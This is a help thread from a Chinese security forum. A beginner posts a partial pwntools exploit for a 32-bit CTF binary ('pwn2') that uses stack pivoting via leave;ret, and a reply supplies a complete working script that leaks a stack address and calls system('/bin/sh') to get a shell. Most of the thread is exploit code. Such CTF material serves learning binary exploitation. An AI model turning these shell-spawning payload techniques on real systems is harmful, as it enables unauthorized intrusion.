首页
社区
课程
招聘
[求助]一个简单的pwn题,做了一半,但不会利用,已解答
2019-8-3 23:15 6685

[求助]一个简单的pwn题,做了一半,但不会利用,已解答

2019-8-3 23:15
6685
你们好,我是一个PWN新手,入门pwn不久,做了一道题,我觉得是stackpivot,已经劫持栈到我可以写的区域,但是不会写ROP,这道题我做了很久,很想得到答案,求助~~谢谢帮助我的人
此处贴上我写的代码(注:这些代码是我经历的思路,很多都是多余的,见谅):
from pwn import *
#breakpoints=[0x80485b9,0x80485E0]
sh = process('./pwn2')
pwn2 = ELF('./pwn2')
offset = 0x27
system_plt = 0x8048400
get_flag = 0x804854B
call_system = 0x8048559
leave_ret_addr = 0x080484b8
read_plt = 0x80483D0
cmd = '/bin/sh'
data_addr = 0x804a028
#gdb.attach(sh)

payload1 = 'a'*offset
sh.sendline(payload1)
sh.recvuntil('a'*offset+'\x0a')
ebp_addr = u32(sh.recv(4))
log.success('ebp_addr:'+str(hex(ebp_addr)))
buf_addr = ebp_addr-0x38

payload2 = '1111'
payload2 += p32(pwn2.plt['system'])
payload2 += p32(0xdeadbeef)
payload2 += '/bin/sh'
payload2 += p32(pwn2.plt['system'])
payload2 += p32(0xdeadbeef)
payload2 += p32(buf_addr+0x0c)
payload2 = payload2.ljust(0x28,'\x00')
payload2 += p32(buf_addr)
payload2 += p32(leave_ret_addr)
sh.sendline(payload2)
sh.recvuntil('1111')
sh.interactive()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-8-4 10:34 被Vinadiak编辑 ,原因:
上传的附件:
  • pwn2 (7.48kb,6次下载)
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 204
活跃值: (906)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
mratlatsn 10 2019-8-4 01:01
2
3
from pwn import *

psystem = 0x08048400
pleave =  0x080485fd

p = process('./pwn2')
p.recvuntil('name?\n')

p.send('a'*32)
p.recvuntil(', ')
pbuf = u32(p.recv(40)[-4:])+0xffa91720-0xffa91804
p.send(p32(psystem)+'a'*4+p32(pbuf+32)+'a'*20+'/bin/sh\x00'+p32(pbuf-4)+p32(pleave))
p.interactive()
游客
登录 | 注册 方可回帖
返回